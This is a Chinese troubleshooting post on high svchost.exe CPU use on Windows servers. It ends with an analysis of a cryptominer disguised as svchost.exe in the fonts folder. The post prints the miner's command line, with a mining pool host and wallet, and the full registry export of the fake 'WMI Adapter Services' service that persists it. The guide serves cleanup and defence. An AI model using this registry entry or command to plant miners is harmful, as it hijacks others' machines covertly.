Windows服务器CPU使用过高(svchost.exe)

cpu使用率的查看一般可以通过任务管理器中的cpu使用百分比排序，依次查看哪些进程导致使用率过高。 
 
不同的程序不同的处理。

以下主要讲解svchost.exe进场占用cpu过高的问题。

svchost.exe 进程，一般都是与系统服务相关的，大部分均是来自服务。 
1、服务导致。找到cpu使用率比较大的进程，右键-》转到服务，若是是由服务启动的，会自动定位到相应的服务。 
 

可以点击，右下角的服务按钮，开启服务管理，根据服务器名称查找到相应的服务，判定是否停止服务。(一般情况windows的自动更新服务，若是有待更新的信息时，或者取消更新后，可能导致占用cpu可能过高)

2、非服务导致。可以使用process Explorer程序查看进程的详细信息。process Explorer 非系统自带的需要网上自行下载。

process Explorer 简略使用说明 
界面 
 
查看进程的详细信息 
 

可查看映像信息来确定，是为什么启动此进程。 
路径：exe位置 
命令行：启动的方式

详细例子分析： 
遇到svchost使用率过高，但非服务导致服务器cpu使用率，80%。 
路径：C:\windows\fonts\svchost.exe 
命令行：”svchost.exe” -a cryptonight -o stratum+tcp://wakuang.aimezi.com:7777 -u 498PMu3rGgrXdv9b371URch3eDbEJqPnoXTp717FtUhvFuFSJfjY4Gf1chnSxVtTRoQCkfNRozGfBbDshdMDKhUQ358oQby -p x -t 24

查看此非系统服务，有点像是被植入挖矿病毒。强制关闭此进程，一会进程强制重启。不存在服务，那只能通过注册表进行查询。

开启注册表， 运行-》regedit 全文搜索 wakuang.aimezi.com 找到相应的注册表删除后。关闭此进程后问题解决。其实际的注册表目录[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc]

以下为此项中的全部信息，看到最后有个程序退出后重启的项。(以下请勿注册，以防系统出现问题，仅供学习)。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc]
"Description"="Performance library information from Windows Management Instrumentation (WMI) providers to clients on the network. This service only runs when Performance Data Helper is activated."
"DisplayName"="WMI Adapter Services"
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):63,00,3a,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,\
  5c,00,46,00,6f,00,6e,00,74,00,73,00,5c,00,74,00,61,00,73,00,6b,00,68,00,6f,\
  00,73,00,74,00,2e,00,65,00,78,00,65,00,00,00
"ObjectName"="LocalSystem"
"DelayedAutostart"=dword:00000000
"FailureActionsOnNonCrashFailures"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc\Parameters]
"Application"=hex(2):73,00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,\
  00,65,00,00,00
"AppParameters"=hex(2):2d,00,61,00,20,00,63,00,72,00,79,00,70,00,74,00,6f,00,\
  6e,00,69,00,67,00,68,00,74,00,20,00,2d,00,6f,00,20,00,73,00,74,00,72,00,61,\
  00,74,00,75,00,6d,00,2b,00,74,00,63,00,70,00,3a,00,2f,00,2f,00,77,00,61,00,\
  6b,00,75,00,61,00,6e,00,67,00,2e,00,61,00,69,00,6d,00,65,00,7a,00,69,00,2e,\
  00,63,00,6f,00,6d,00,3a,00,37,00,37,00,37,00,37,00,20,00,2d,00,75,00,20,00,\
  34,00,39,00,38,00,50,00,4d,00,75,00,33,00,72,00,47,00,67,00,72,00,58,00,64,\
  00,76,00,39,00,62,00,33,00,37,00,31,00,55,00,52,00,63,00,68,00,33,00,65,00,\
  44,00,62,00,45,00,4a,00,71,00,50,00,6e,00,6f,00,58,00,54,00,70,00,37,00,31,\
  00,37,00,46,00,74,00,55,00,68,00,76,00,46,00,75,00,46,00,53,00,4a,00,66,00,\
  6a,00,59,00,34,00,47,00,66,00,31,00,63,00,68,00,6e,00,53,00,78,00,56,00,74,\
  00,54,00,52,00,6f,00,51,00,43,00,6b,00,66,00,4e,00,52,00,6f,00,7a,00,47,00,\
  66,00,42,00,62,00,44,00,73,00,68,00,64,00,4d,00,44,00,4b,00,68,00,55,00,51,\
  00,33,00,35,00,38,00,6f,00,51,00,62,00,79,00,20,00,2d,00,70,00,20,00,78,00,\
  20,00,2d,00,74,00,20,00,32,00,34,00,00,00
"AppDirectory"=hex(2):00,00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc\Parameters\AppExit]
@="Restart"